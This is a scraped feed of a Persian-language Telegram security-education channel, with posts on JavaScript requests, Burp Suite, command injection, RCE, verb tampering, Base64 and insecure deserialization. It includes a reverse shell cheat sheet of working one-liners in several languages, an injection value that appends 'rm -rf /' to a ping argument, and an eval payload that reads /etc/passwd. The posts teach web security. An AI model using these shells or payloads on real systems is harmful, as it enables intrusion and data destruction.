💀دنیای ناشناخته ی JavaScript
یه چلنج از root-me که شمارو با دنیای دیگه از javascript آشنا میکنه:
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Native-code
#js #javascript #root_me #جاوااسکریپت #Challenges
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
یه چلنج از root-me که شمارو با دنیای دیگه از javascript آشنا میکنه:
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Native-code
#js #javascript #root_me #جاوااسکریپت #Challenges
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍6❤2🤔1
Security hint
🐝ارسال درخواست با جاوا اسکریپت: یکی از دانش های مورد نیاز از جاوا اسکریپت ارسال درخواست (http) هست. دو روش رایج برای ارسال درخواست با جاوا اسکریپت وجود دارد: 1. استفاده از XML HttpRequest (XHR) 2. استفاده از Fetch API مدرنتر و کاربرپسندتر است ارسال…
🍥ارسال درخواستهای Fetch API در جاوا اسکریپت
در این پست، به بررسی نحوه ارسال درخواستهای GET و POST با استفاده از Fetch API در جاوا اسکریپت می پردازیم. Fetch API یک رابط مدرن و قدرتمند برای انجام درخواستهای HTTP در مرورگرهای وب است.
💥GET request
یک درخواست GET برای دریافت اطلاعات از یک سرور استفاده میشود. برای ارسال یک درخواست GET با Fetch API، مراحل زیر را دنبال کنید:
💥POST request
یک درخواست POST برای ارسال اطلاعات به یک سرور استفاده میشود. برای ارسال یک درخواست POST با Fetch API، مراحل زیر را دنبال کنید:
#JavaScript #FetchAPI #GET #POST #پیشنیاز #جاوااسکریپت #آموزش
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
در این پست، به بررسی نحوه ارسال درخواستهای GET و POST با استفاده از Fetch API در جاوا اسکریپت می پردازیم. Fetch API یک رابط مدرن و قدرتمند برای انجام درخواستهای HTTP در مرورگرهای وب است.
💥GET request
یک درخواست GET برای دریافت اطلاعات از یک سرور استفاده میشود. برای ارسال یک درخواست GET با Fetch API، مراحل زیر را دنبال کنید:
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));💥POST request
یک درخواست POST برای ارسال اطلاعات به یک سرور استفاده میشود. برای ارسال یک درخواست POST با Fetch API، مراحل زیر را دنبال کنید:
const data = { name: 'Alice', age: 30 };
const jsonData = JSON.stringify(data);
fetch('https://api.example.com/users', {
method: 'POST',
body: jsonData,
headers: { 'Content-Type': 'application/json' }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));#JavaScript #FetchAPI #GET #POST #پیشنیاز #جاوااسکریپت #آموزش
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
❤5🦄1
Security hint
👻👻👻👻👻👻👻 براتون اینجا گذاشتم https://youtu.be/B7Sn709pLVE 😉😉😉
👑Reverse Shell Cheat Sheet
Bash:
Python:
PERL:
PHP:
Ruby:
Netcat:
Java:
xterm:
#Reverse_Shell #Cheat_Sheet
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
Bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'PERL:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'Ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Netcat:
nc -e /bin/sh 10.0.0.1 1234
Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm:
xterm -display 10.0.0.1:1
#Reverse_Shell #Cheat_Sheet
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
❤6👍3👻1
☠️جایگزینی برای BurpSuite
https://freedium.cfd/https://medium.com/@lmoise2022/one-of-the-newest-tools-in-pentesting-b93e8434c08a
اپدیت: البته این تولز رایگان نیست، اگه کرک بشه عالی میشه🥲
#BurpSuite #Caido #tools
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
https://freedium.cfd/https://medium.com/@lmoise2022/one-of-the-newest-tools-in-pentesting-b93e8434c08a
اپدیت: البته این تولز رایگان نیست، اگه کرک بشه عالی میشه🥲
#BurpSuite #Caido #tools
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍4
javascript-beginner-handbook.pdf
544.7 KB
📖 هنوز JavaScript یاد نگرفتی؟؟
پس از این کتاب برای شروع استفاده کن ...
خلاصه و ساده مباحث رو توضیح داده ☺️
#book #javascript #beginner
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
پس از این کتاب برای شروع استفاده کن ...
خلاصه و ساده مباحث رو توضیح داده ☺️
#book #javascript #beginner
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
❤8👍2💯2🔥1
Web Hacking 101.pdf
6.1 MB
📕معرفی یک کتاب دیگه که برای شروع میتونید بخونیدش و با ابزار های رایج آشنا بشید
(یه قسمت هایی کامنت فارسی هم داره)
#book #security #BugBounty
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
(یه قسمت هایی کامنت فارسی هم داره)
#book #security #BugBounty
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👌4❤2👍1
🔒 آشنایی با Command Injection و RCE 🔒
Command Injection
📌 تعریف: Command Injection یا تزریق دستورات، نوعی آسیبپذیری است که در آن مهاجم میتواند دستورات سیستمی را به یک برنامه تحت وب یا نرمافزار وارد کند و آنها را اجرا کند. این نوع حمله زمانی ممکن میشود که ورودیهای کاربر بدون اعتبارسنجی مناسب مستقیماً به خط فرمان سیستم عامل ارسال شوند.
⚠️ مثال: فرض کنید یک وبسایت فرمی دارد که نام دامنهای را از کاربر میگیرد و آن را پینگ میکند:
اگر کاربر به جای وارد کردن نام دامنه، این ورودی را وارد کند:
این دستور مخرب
Remote Code Execution (RCE)
📌 تعریف: RCE نوعی آسیبپذیری است که به مهاجم اجازه میدهد کد دلخواه خود را از راه دور بر روی سیستم هدف اجرا کند. این آسیبپذیریها بسیار خطرناک هستند زیرا مهاجم میتواند کنترل کامل سیستم را در دست بگیرد.
⚠️ مثال: فرض کنید یک برنامه وب آسیبپذیری دارد که به مهاجم اجازه میدهد کد PHP دلخواه خود را از طریق یک درخواست HTTP ارسال و اجرا کند:
مهاجم میتواند با ارسال یک درخواست به این صفحه، کد مخربی را اجرا کند:
این دستور محتویات فایل حساس /etc/passwd را نمایش میدهد.
📌تفاوت Command Injection و RCE
یک- Command Injection بیشتر به تزریق دستورات سیستمعامل اشاره دارد که توسط برنامه آسیبپذیر اجرا میشوند.
دو- RCE به اجرای کد دلخواه مهاجم روی سیستم هدف از راه دور اشاره دارد. این کد میتواند هر چیزی باشد، از جمله اسکریپتهای پیچیده یا برنامههای مخرب.
🔺چطور میتوان از این حملات جلوگیری کرد؟
✅ اعتبارسنجی ورودیها: هرگز ورودیهای کاربر را بدون اعتبارسنجی و تصحیح ارسال نکنید.
✅ استفاده از توابع امن: از توابع و کتابخانههایی استفاده کنید که برای اجرای دستورات و ارتباط با سیستم عامل طراحی شدهاند و در برابر تزریقها مقاوم هستند.
✅ بروزرسانی منظم نرمافزارها: همیشه نرمافزارها و کتابخانههای خود را به آخرین نسخه بروز نگه دارید تا از رفع آسیبپذیریها بهرهمند شوید.
#Command_Injection #RCE #تزریق_دستورات #اجرای_کد_از_راه_دور
🌐Sec_Hint & Boost & Youtube
Command Injection
📌 تعریف: Command Injection یا تزریق دستورات، نوعی آسیبپذیری است که در آن مهاجم میتواند دستورات سیستمی را به یک برنامه تحت وب یا نرمافزار وارد کند و آنها را اجرا کند. این نوع حمله زمانی ممکن میشود که ورودیهای کاربر بدون اعتبارسنجی مناسب مستقیماً به خط فرمان سیستم عامل ارسال شوند.
⚠️ مثال: فرض کنید یک وبسایت فرمی دارد که نام دامنهای را از کاربر میگیرد و آن را پینگ میکند:
import os
domain = input("Enter domain to ping: ")
os.system("ping " + domain)
اگر کاربر به جای وارد کردن نام دامنه، این ورودی را وارد کند:
google.com; rm -rf /
این دستور مخرب
rm -rf / (که کل سیستم را پاک میکند) به دنبال دستور پینگ اجرا میشود، چون ورودی کاربر مستقیماً به خط فرمان ارسال شده است.Remote Code Execution (RCE)
📌 تعریف: RCE نوعی آسیبپذیری است که به مهاجم اجازه میدهد کد دلخواه خود را از راه دور بر روی سیستم هدف اجرا کند. این آسیبپذیریها بسیار خطرناک هستند زیرا مهاجم میتواند کنترل کامل سیستم را در دست بگیرد.
⚠️ مثال: فرض کنید یک برنامه وب آسیبپذیری دارد که به مهاجم اجازه میدهد کد PHP دلخواه خود را از طریق یک درخواست HTTP ارسال و اجرا کند:
<?php
$code = $_GET['code'];
eval($code);
?>
مهاجم میتواند با ارسال یک درخواست به این صفحه، کد مخربی را اجرا کند:
https://vulnerable-website.com/vulnerable.php?code=system('cat /etc/passwd');این دستور محتویات فایل حساس /etc/passwd را نمایش میدهد.
📌تفاوت Command Injection و RCE
یک- Command Injection بیشتر به تزریق دستورات سیستمعامل اشاره دارد که توسط برنامه آسیبپذیر اجرا میشوند.
دو- RCE به اجرای کد دلخواه مهاجم روی سیستم هدف از راه دور اشاره دارد. این کد میتواند هر چیزی باشد، از جمله اسکریپتهای پیچیده یا برنامههای مخرب.
🔺چطور میتوان از این حملات جلوگیری کرد؟
✅ اعتبارسنجی ورودیها: هرگز ورودیهای کاربر را بدون اعتبارسنجی و تصحیح ارسال نکنید.
✅ استفاده از توابع امن: از توابع و کتابخانههایی استفاده کنید که برای اجرای دستورات و ارتباط با سیستم عامل طراحی شدهاند و در برابر تزریقها مقاوم هستند.
✅ بروزرسانی منظم نرمافزارها: همیشه نرمافزارها و کتابخانههای خود را به آخرین نسخه بروز نگه دارید تا از رفع آسیبپذیریها بهرهمند شوید.
#Command_Injection #RCE #تزریق_دستورات #اجرای_کد_از_راه_دور
🌐Sec_Hint & Boost & Youtube
👍11👻1🦄1
👻13🦄9👍6
✍🏻آشنایی با Burp suite
این رایتاپ خیلی خوب قسمت های مختلف burp رو توضیح داده
https://caioluchetti.medium.com/how-to-use-burp-suite-for-pentest-dbc9b0f7fe8d
#writeup #burp_suite #آموزش
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
این رایتاپ خیلی خوب قسمت های مختلف burp رو توضیح داده
https://caioluchetti.medium.com/how-to-use-burp-suite-for-pentest-dbc9b0f7fe8d
#writeup #burp_suite #آموزش
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
Medium
How to use Burp Suite for Pentest
Master the Essential Tools for Web Penetration Testing with Burp Suite.
👍5❤3👻1
Security hint
📣یه ویدیو کوتاه اماده کردم ... کی بزارم ؟🤔🤔🤔 امشب👻 ؟یا یه شب دیگه 🦄؟ #YouTube
منکه دیشب گذاشتم ولی کی دید کی ندید؟
https://youtu.be/eY2ADdsUyNo?si=U9CRM-cLsMAyTwbZ
#YouTube #Recon
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
https://youtu.be/eY2ADdsUyNo?si=U9CRM-cLsMAyTwbZ
#YouTube #Recon
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
YouTube
رازهای موفقیت در باگ بانتی: چرا ریکان مهم است؟
یکی از کارهایی که لازمه توی باگ بانتی انجام بدین ریکان هست ولی چرا ؟ و توی ریکان باید به چی برسین؟
❤9🤩2😁1👻1
🔍 آشنایی با Verb Tampering
🎭 Verb Tampering
به معنای تغییر نوع درخواستهای HTTP (مانند GET، POST، PUT، DELETE) است تا با تغییر متد درخواست، به منابع غیرمجاز دسترسی پیدا کنید یا محدودیتهای امنیتی را دور بزنید. این تکنیک یکی از روشهای محبوب هکرها برای سوءاستفاده از ضعفهای امنیتی در برنامههای وب است.
📚 مثال عملی
فرض کنید یک فرم ورود در یک وبسایت فقط از متد POST برای ارسال دادهها استفاده میکند. اگر بتوانید نوع درخواست را به GET تغییر دهید، ممکن است به اطلاعات حساس دسترسی پیدا کنید یا رفتار غیرمنتظرهای از سرور مشاهده کنید.
🛠️ چگونه Verb Tampering را تست کنیم؟
1. بررسی متدهای مجاز: با استفاده از ابزارهای پنتست مانند Burp Suite، انواع متدهای HTTP را تست کنید و ببینید سرور چگونه به اونها پاسخ میده و آیا میتوانید به اطلاعات غیرمجاز دسترسی پیدا کنید.
۲. تحلیل پاسخها: پاسخهای سرور را به دقت تحلیل کنید تا متوجه شوید که آیا اطلاعات حساس لو رفته یا محدودیتهای امنیتی دور زده شده است.
🔧 راههای جلوگیری از Verb Tampering
به عنوان یک پنتستر، علاوه بر شناسایی ضعفها، باید راهکارهای جلوگیری را نیز بدونید:
1. محدود کردن متدهای HTTP: مطمئن شوید سرور فقط متدهای مورد نیاز را میپذیرد.
2. اعتبارسنجی سمت سرور: درخواستها را در سمت سرور اعتبارسنجی کنید و فقط متدهای مجاز را قبول کنید.
3. استفاده از توکنهای CSRF: با توکنهای CSRF از اعتبار درخواستها مطمئن شوید.
4. پیادهسازی کنترل دسترسی مناسب: اطمینان حاصل کنید که هر کاربر فقط به منابع و عملکردهای مجاز دسترسی دارد.
موفق باشید و همیشه در حال یادگیری باشید!🚀
#verb_tampering #pentest
که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
🎭 Verb Tampering
به معنای تغییر نوع درخواستهای HTTP (مانند GET، POST، PUT، DELETE) است تا با تغییر متد درخواست، به منابع غیرمجاز دسترسی پیدا کنید یا محدودیتهای امنیتی را دور بزنید. این تکنیک یکی از روشهای محبوب هکرها برای سوءاستفاده از ضعفهای امنیتی در برنامههای وب است.
📚 مثال عملی
فرض کنید یک فرم ورود در یک وبسایت فقط از متد POST برای ارسال دادهها استفاده میکند. اگر بتوانید نوع درخواست را به GET تغییر دهید، ممکن است به اطلاعات حساس دسترسی پیدا کنید یا رفتار غیرمنتظرهای از سرور مشاهده کنید.
🛠️ چگونه Verb Tampering را تست کنیم؟
1. بررسی متدهای مجاز: با استفاده از ابزارهای پنتست مانند Burp Suite، انواع متدهای HTTP را تست کنید و ببینید سرور چگونه به اونها پاسخ میده و آیا میتوانید به اطلاعات غیرمجاز دسترسی پیدا کنید.
۲. تحلیل پاسخها: پاسخهای سرور را به دقت تحلیل کنید تا متوجه شوید که آیا اطلاعات حساس لو رفته یا محدودیتهای امنیتی دور زده شده است.
🔧 راههای جلوگیری از Verb Tampering
به عنوان یک پنتستر، علاوه بر شناسایی ضعفها، باید راهکارهای جلوگیری را نیز بدونید:
1. محدود کردن متدهای HTTP: مطمئن شوید سرور فقط متدهای مورد نیاز را میپذیرد.
2. اعتبارسنجی سمت سرور: درخواستها را در سمت سرور اعتبارسنجی کنید و فقط متدهای مجاز را قبول کنید.
3. استفاده از توکنهای CSRF: با توکنهای CSRF از اعتبار درخواستها مطمئن شوید.
4. پیادهسازی کنترل دسترسی مناسب: اطمینان حاصل کنید که هر کاربر فقط به منابع و عملکردهای مجاز دسترسی دارد.
موفق باشید و همیشه در حال یادگیری باشید!🚀
#verb_tampering #pentest
که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍7❤2🔥1👌1👻1
🔐انواع روش های رمزنگاری در یک نگاه
#رمزنگاری #Encryption
منون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
#رمزنگاری #Encryption
منون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍6❤2
🎢 رمزنگاری و Base64:
Base64:
یک روش کدگذاری (Encoding) است که دادههای باینری را به یک رشته متنی قابل خواندن تبدیل میکند. این روش معمولاً برای انتقال دادهها در سیستمهایی که فقط متن را پشتیبانی میکنند، مانند ایمیلها و URLها، استفاده میشود.
🔍 نکات کلیدی Base64:
قابل برگشت:
ایمن نبودن: Base64 امنیتی به دادهها اضافه نمیکند؛ هر کسی که الگوریتم Base64 را بداند میتواند دادهها را دیکد کند.
کاربرد: انتقال دادهها به فرمتی که قابل خواندن و انتقال باشد.
مثال Base64 در Python
رمزنگاری چیست؟
رمزنگاری (Encryption) فرآیندی است که در آن دادهها به گونهای تغییر میکنند که فقط افراد مجاز قادر به فهمیدن آنها باشند.
مثال رمزنگاری در Python
تفاوتهای کلیدی بین Base64 و رمزنگاری
یک) Base64: تبدیل دادهها به فرمتی قابل انتقال و ذخیرهسازی.
دو) رمزنگاری: حفاظت از دادهها و جلوگیری از دسترسی غیرمجاز.
#base64 #encoding #رمزنگاری
به کانال ما بپیوندید و از پستهای آموزشی بیشتر لذت ببرید! 💻📲
🌐Sec_Hint & Boost & Youtube
Base64:
یک روش کدگذاری (Encoding) است که دادههای باینری را به یک رشته متنی قابل خواندن تبدیل میکند. این روش معمولاً برای انتقال دادهها در سیستمهایی که فقط متن را پشتیبانی میکنند، مانند ایمیلها و URLها، استفاده میشود.
🔍 نکات کلیدی Base64:
قابل برگشت:
شما میتوانید دادههای کدگذاری شده را دوباره به دادههای اصلی تبدیل کنید.ایمن نبودن: Base64 امنیتی به دادهها اضافه نمیکند؛ هر کسی که الگوریتم Base64 را بداند میتواند دادهها را دیکد کند.
کاربرد: انتقال دادهها به فرمتی که قابل خواندن و انتقال باشد.
مثال Base64 در Python
python
import base64
data = "Hello, World!"
encoded_data = base64.b64encode(data.encode('utf-8'))
print(encoded_data) # خروجی: b'SGVsbG8sIFdvcmxkIQ=='
decoded_data = base64.b64decode(encoded_data).decode('utf-8')
print(decoded_data) # خروجی: Hello, World!
رمزنگاری چیست؟
رمزنگاری (Encryption) فرآیندی است که در آن دادهها به گونهای تغییر میکنند که فقط افراد مجاز قادر به فهمیدن آنها باشند.
مثال رمزنگاری در Python
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher_suite = Fernet(key)
data = "Hello, World!"
encrypted_data = cipher_suite.encrypt(data.encode('utf-8'))
print(encrypted_data) # خروجی: دادههای رمزنگاری شده
decrypted_data = cipher_suite.decrypt(encrypted_data).decode('utf-8')
print(decrypted_data) # خروجی: Hello, World!
تفاوتهای کلیدی بین Base64 و رمزنگاری
یک) Base64: تبدیل دادهها به فرمتی قابل انتقال و ذخیرهسازی.
دو) رمزنگاری: حفاظت از دادهها و جلوگیری از دسترسی غیرمجاز.
#base64 #encoding #رمزنگاری
به کانال ما بپیوندید و از پستهای آموزشی بیشتر لذت ببرید! 💻📲
🌐Sec_Hint & Boost & Youtube
👍9❤4👎1
💲اگر اول راهی و نمیخای هزینه سرور بدی این پست برای توئه:
https://www.thc.org/segfault/
کافیه داخل termius به این سرور وصل شی:
🗝 رمز عبور:
بیشتر ابزارهایی که برای باگ بانتی نیاز داری روش نصب هست و میتونی استفاده کنی
نکته:اگه اتصالت قطع بشه یا برنامه رو ببندی کل اطلاعاتت از بین میره. ولی یک راه حل داره😉
#segfault #free_server #server #سرور
🥸اپدیت: از این برای آشنایی با ابزار ها استفاده کنید نه برای تست های سنگین
با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
https://www.thc.org/segfault/
کافیه داخل termius به این سرور وصل شی:
ssh [email protected]
🗝 رمز عبور:
segfaultبیشتر ابزارهایی که برای باگ بانتی نیاز داری روش نصب هست و میتونی استفاده کنی
نکته:اگه اتصالت قطع بشه یا برنامه رو ببندی کل اطلاعاتت از بین میره. ولی یک راه حل داره😉
#segfault #free_server #server #سرور
🥸اپدیت: از این برای آشنایی با ابزار ها استفاده کنید نه برای تست های سنگین
با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
The Hacker’s Choice
Segfault
Disposable Root Servers.
🤩8👍2👎2
🃏Serialize و Deserialize
داده هایی از نوع object را نمیتوان در شبکه ارسال کرد مگر تبدیل به باینری یا رشته شوند ولی چگونه؟
🔖Serialize:
فرآیندی است که طی آن دادههای یک شیء (Object) به قالبی تبدیل میشوند که قابل ذخیرهسازی و انتقال (مثلاً در فایلها یا شبکه) باشند. به عبارت دیگر، Serialize یعنی تبدیل یک شیء به فرمتهای متنی یا باینری. این فرآیند به ما امکان میدهد که اشیاء پیچیده را در سیستمهای مختلف منتقل کنیم.
🏷Deserialize:
فرآیندی است که طی آن دادههای سریالایز شده به شیء اصلی خود تبدیل میشوند. این فرآیند برعکس Serialize است و به ما کمک میکند دادهها را از قالب ذخیرهسازی شده به حالت اولیه بازگردانیم.
🎯اهمیت Serialize و Deserialize در امنیت
از آنجایی که
یک) Insecure Deserialization: اگر دادههای Deserialize شده به درستی اعتبارسنجی نشوند، مهاجم میتواند دادههای مخرب را تزریق کرده و کدهای دلخواه خود را اجرا کند.
دو) افشای دادههای حساس: Serialize کردن دادههای حساس بدون رمزنگاری مناسب میتواند منجر به افشای اطلاعات حساس شود.
سه) حملات بازپخش (Replay Attacks): مهاجم میتواند دادههای سریالایز شده را کپی و مجدداً ارسال کند تا عملکرد ناخواستهای در سیستم ایجاد کند.
♨️مثالهایی از حملات Serialize و Deserialize
♨️در این مثال، ما از کتابخانه pickle در پایتون برای Serialize و Deserialize کردن یک دیکشنری ساده استفاده کردیم. اگر مهاجم بتواند محتوای سریالایز شده را تغییر دهد، میتواند کد مخربی را اجرا کند.
-اصولا بعداز serialize کردن داده از base64 استفاده میشود تا داده ها در مسیر گم نشوند.
-برای درک آسیبپذیری Insecure Deserialization آشنایی این دو موضوع لازم است.
#Serialize #Deserialize #Insecure_Deserialization
با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
داده هایی از نوع object را نمیتوان در شبکه ارسال کرد مگر تبدیل به باینری یا رشته شوند ولی چگونه؟
🔖Serialize:
فرآیندی است که طی آن دادههای یک شیء (Object) به قالبی تبدیل میشوند که قابل ذخیرهسازی و انتقال (مثلاً در فایلها یا شبکه) باشند. به عبارت دیگر، Serialize یعنی تبدیل یک شیء به فرمتهای متنی یا باینری. این فرآیند به ما امکان میدهد که اشیاء پیچیده را در سیستمهای مختلف منتقل کنیم.
🏷Deserialize:
فرآیندی است که طی آن دادههای سریالایز شده به شیء اصلی خود تبدیل میشوند. این فرآیند برعکس Serialize است و به ما کمک میکند دادهها را از قالب ذخیرهسازی شده به حالت اولیه بازگردانیم.
🎯اهمیت Serialize و Deserialize در امنیت
از آنجایی که
Serialize و Deserialize کردن دادهها در بسیاری از سیستمهای نرمافزاری انجام میشود، این فرآیندها میتوانند مورد سوءاستفاده قرار گیرند و به نقاط ضعف امنیتی تبدیل شوند. مهمترین نقاط ضعف در این زمینه عبارتند از:یک) Insecure Deserialization: اگر دادههای Deserialize شده به درستی اعتبارسنجی نشوند، مهاجم میتواند دادههای مخرب را تزریق کرده و کدهای دلخواه خود را اجرا کند.
دو) افشای دادههای حساس: Serialize کردن دادههای حساس بدون رمزنگاری مناسب میتواند منجر به افشای اطلاعات حساس شود.
سه) حملات بازپخش (Replay Attacks): مهاجم میتواند دادههای سریالایز شده را کپی و مجدداً ارسال کند تا عملکرد ناخواستهای در سیستم ایجاد کند.
♨️مثالهایی از حملات Serialize و Deserialize
import pickle
# شیء اصلی
data = {'username': 'admin', 'password': 'password123'}
# سریالایز کردن
serialized_data = pickle.dumps(data)
# دیسریالایز کردن
deserialized_data = pickle.loads(serialized_data)
print(deserialized_data)
♨️در این مثال، ما از کتابخانه pickle در پایتون برای Serialize و Deserialize کردن یک دیکشنری ساده استفاده کردیم. اگر مهاجم بتواند محتوای سریالایز شده را تغییر دهد، میتواند کد مخربی را اجرا کند.
-اصولا بعداز serialize کردن داده از base64 استفاده میشود تا داده ها در مسیر گم نشوند.
-برای درک آسیبپذیری Insecure Deserialization آشنایی این دو موضوع لازم است.
#Serialize #Deserialize #Insecure_Deserialization
با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
👍12👻2👎1